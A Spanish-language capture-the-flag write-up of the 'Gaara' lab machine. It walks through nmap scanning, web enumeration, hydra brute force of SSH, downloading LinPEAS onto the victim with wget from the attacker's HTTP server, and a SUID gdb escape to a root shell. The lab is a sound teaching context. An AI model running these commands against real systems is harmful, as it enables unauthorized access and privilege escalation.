> For the complete documentation index, see [llms.txt](https://wiki.securiters.com/securiters-wiki/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://wiki.securiters.com/securiters-wiki/write-ups/proving-grounds/gaara.md).

# Gaara

<figure><img src="/files/NpUUGqmH3nWHsccRdIT2" alt=""><figcaption></figcaption></figure>

### Enumeración

#### NMAP

Comenzamos realizando un escaneo rápido de los puertos que tiene abiertos la máquina víctima.&#x20;

```
nmap -p- --open -vvv -Pn -n --min-rate 2000 192.168.164.142
```

<figure><img src="/files/nABwqABHhSfyrDUNS15p" alt=""><figcaption></figcaption></figure>

Están abiertos los puertos 22 y 80 TCP en la máquina objetivo. El siguiente paso es realizar un escaneo más profundo únicamente de los servicios abiertos.&#x20;

```
nmap -p22,80 -sVC -vv -Pn -n 192.168.164.142
```

<figure><img src="/files/zTXvUUyDpzzESyNGugtm" alt=""><figcaption></figcaption></figure>

Dos servicios abiertos:

* Puerto 22 -> OpenSSH 7.9p1 Debian 10+deb10u2
* Puerto 80 -> Apache httpd 2.4.38

#### Enumeración web

Tenemos disponible un servidor Web en el puerto 80. Vamos a ver el contenido en el navegador.&#x20;

<figure><img src="/files/ChlpYYtsIhRoMVrmcEx3" alt=""><figcaption></figcaption></figure>

Vamos a realizar un escaneo de directorios por si hubiese información de interés.&#x20;

<figure><img src="/files/xYb1ft8Bod9TukLLTXyk" alt=""><figcaption></figcaption></figure>

Vamos a ver el contenido de este directorio en el navegador

<figure><img src="/files/ELekIUMIZdCliqRwk5xP" alt=""><figcaption></figcaption></figure>

Tenemos otro nuevo directorio, vamos a ver su contenido.

<figure><img src="/files/Xg4JfLoCBZciWpA5RKXm" alt=""><figcaption></figcaption></figure>

Tenemos una posible contraseña cifrada. Vamos a descifrarla con la herramienta [Cyberchef](https://gchq.github.io/CyberChef/).&#x20;

<figure><img src="/files/t4bzRRyWhXl9WBzYprEo" alt=""><figcaption><p>gaara:ismyname</p></figcaption></figure>

Vamos a utilizar esta contraseña para iniciar sesión en SSH con usuario "gaara".

### Elevación de privilegios como usuario "gaara"

<figure><img src="/files/vzURDf9RLLUySn1xRqzp" alt=""><figcaption></figcaption></figure>

Pero la contraseña que encontramos anteriormente no es válida. Vamos a intentar con un ataque de fuerza bruta al puerto  SSH.&#x20;

```
hydra -l gaara -P rockyou.txt 192.168.164.142 ssh
```

<figure><img src="/files/LaHUcEfZVn8iSdD1wukU" alt=""><figcaption><p>gaara:iloveyou2</p></figcaption></figure>

Obtenemos unas nuevas credenciales. Volvemos a intentar conectarnos mediante SSH.&#x20;

<figure><img src="/files/mUITQ4xTuPFnJtfcWN0R" alt=""><figcaption></figcaption></figure>

Ya estamos conectados a la máquina víctima como usuario "gaara". Vamos a buscar la flag de usuario.&#x20;

<figure><img src="/files/2TELotwC54stLTxXc4IZ" alt=""><figcaption><p>Flag de usuario</p></figcaption></figure>

### Elevación a privilegios "root"

Esta elevación la vamos a realizar de dos maneras, buscando posibles vulnerabilidades de manera automática utilizando el script LinPeas, y realizando la misma búsqueda de manera manual.&#x20;

Comenzamos cargando LinPeas en la máquina objetivo.&#x20;

Creamos un servidor HTTP con Python

```
python3 -m http.server 4444
```

<figure><img src="/files/ntv1NdMbZJuzy0x83Yqh" alt=""><figcaption></figcaption></figure>

Y lo cargarmos en la máquina víctima

```
wget http://192.168.49.164:4444/linpeas_linux_amd64
```

<figure><img src="/files/Jzr4juA6vWQGZkNqR5W5" alt=""><figcaption></figcaption></figure>

Y lo ejecutamos. Tras transcurrir un pequeño tiempo, ya podemos ver algo de información interesante para explotar la máquina.&#x20;

<figure><img src="/files/GCaPApIGCJyt543uIMji" alt=""><figcaption></figcaption></figure>

Se encuentra un archivo interesante, ubicado en "*/usr/bin/gdb*" en SUID. En este punto usando [GTFObins](https://gtfobins.github.io/) se ha encontrado un exploit para usar:

<figure><img src="/files/yMqaVm7ggztMjlxjytz2" alt=""><figcaption></figcaption></figure>

Ejecutaremos este comando para intentar elevar privilegios

```
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
```

<figure><img src="/files/rip160Sawx5aUgBTzTsB" alt=""><figcaption></figcaption></figure>

La forma manual de buscar que binarios tienen el bit SUID habilitado es la siguiente:&#x20;

```
find / -perm -u=s -type f 2>/dev/null
```

<figure><img src="/files/mQ0K8djbTsucTSPte8EY" alt=""><figcaption></figcaption></figure>

Una vez tenemos privilegios elevados, vamos a buscar la flag que falta.

<figure><img src="/files/7D16sowZKmamR7LCKbMe" alt=""><figcaption><p>Flag root</p></figcaption></figure>

Y ya estaría terminado el CTF.&#x20;

{% embed url="<https://www.youtube.com/watch?v=InDR4k-y03k>" %}
